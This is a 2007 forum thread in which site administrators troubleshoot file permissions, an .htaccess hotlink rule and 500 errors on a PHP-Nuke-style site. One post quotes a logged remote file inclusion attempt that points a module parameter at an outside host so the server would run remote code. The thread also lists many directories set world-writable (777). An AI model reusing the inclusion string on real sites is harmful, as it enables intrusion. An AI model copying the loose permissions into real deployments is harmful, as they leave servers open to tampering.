File Permissions

**baxr6** · Posted: Sun Nov 25, 2007 9:27 pm Post subject: File Permissions

Ok we have been having some issues with some of B5....im pretty sure its file permission based as ive done a lot of testing with B5 on my localhost and never found to many issues.

Some of the problems are;

Fusion:
doing a secure scan and then trying to "remove" and item........it just doesnt remove it....
a secure scan gives me this;

Quote:

/html/includes/FCKeditor/editor/filemanager/browser/default/connectors/php/basexml.php

and when i click approve i just get;

Quote:

ERROR:

html newsletter:
when i create a newsletter it says something about permissions (dead givaway Razz

)

so my questions is since we cant run the setpermissions.php file (as it gives an error) what should all the files and folders start out as on the site....e.g. 0777....0755

and once this is established we would do the following;

Quote:

/files to 777
/files/thumbs to 777
/includes/ps_upload to 777
/includes/smtp.php to 666
/config.php to 644 (ive noticed sometimes this has to be 666, so check the site once you change it)
/modules/NukeC30/imageads to 777
/modules/NukeC30/imagecatg to 777
/modules/Forums/cache to 777
/modules/Forums/images/avatars to 777
/modules/Forums/language/lang_english/lang_faq.php to 666
/modules/Forums/language/lang_english/lang_rules.php to 666
/modules/Supporters/images/supporters to 777
/modules/Downloads/dl to 777
/modules/Member_Application/admin/update.log to 666
/modules/PrivateDownloads/loads to 777
/modules/HTML_Newsletter/archive to 777
includes/FCKeditor/upload to 777
includes/FCKeditor/upload/File to 777
includes/FCKeditor/upload/Flash to 777
includes/FCKeditor/upload/Image to 777
includes/FCKeditor/upload/Media to 777
images/CZUser to 777
images/CZUser/admin to 777
/modules/Universal/images/uploaded to 777

**baxr6** · Posted: Sun Nov 25, 2007 9:31 pm Post subject:

I have the phpinfo file to but would prefer and admin looked at that for security reasons, as we are having trouble with htaccess and stuff.....

**baxr6** · Posted: Mon Nov 26, 2007 4:49 pm Post subject:

Ok fixed all that up and it seems to be working,.....just wondering what the mod_rewrite function does is the htaccess and whether it is a major part of the security as our site wont work with it......im assuming because we dont have mod_rewrite enabled?

Bort · Posted: Mon Nov 26, 2007 5:08 pm Post subject:

You're probably right. If you were able to turn it on I'd guess that setting would most likely be in php.ini somewhere.

where'd you find that? an htaccess file?

You got the permissions straightened out? I'll post what they're supposed to be if you haven't gotten that answer.

**baxr6** · Posted: Mon Nov 26, 2007 7:01 pm Post subject:

i pulled the permissions from the setpermissions.php file.....and the htaccess has the following;

Quote:

<IfModule>
RewriteEngine on
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http://(www.)?localhost/.*$ [NC]
RewriteRule .*.(gif|jpg|jpeg|bmp|png)$ http://localhost/images/blocked/dark/hot_link.guf [R,NC]
</IfModule>

also rather than start a new topic we have been getting a lot of these l8tly;

Quote:

modules.php?name=vwar/modules/vwar/admin/admin.php?vwar_root=http:/www.dip-kostroma.ru/bak_skompa/themes/runcms/menu/images/.asc/www??

Even though we dont have vwar they are still not getting banned fron sentinel or fusion...is this correct?

thanks

**Loki** · Posted: Mon Nov 26, 2007 8:59 pm Post subject:

For the mod rewrite issue, read this topic and the responses and it should give you an idea on what is happening.

http://www.bluehostforum.com/showthread.php?s=06d11e5d7f18952d 3f382174b3f938c2&t=9171&page=3

For the hack attempt, is your filter setting set to "Block" in the Sentinel admin - Blocker Configuration area? If not set it to one of the Block options.

**baxr6** · Posted: Mon Nov 26, 2007 11:34 pm Post subject:

argh ok it wasnt set in sentinel......never thought of that...and ill check that link out thanks m8

**baxr6** · Posted: Tue Nov 27, 2007 1:16 am Post subject:

mmm even if i remove all the mod_rewrite stuff and re-upload the htaccess file i still get the Internal Server Error 500...any ideas?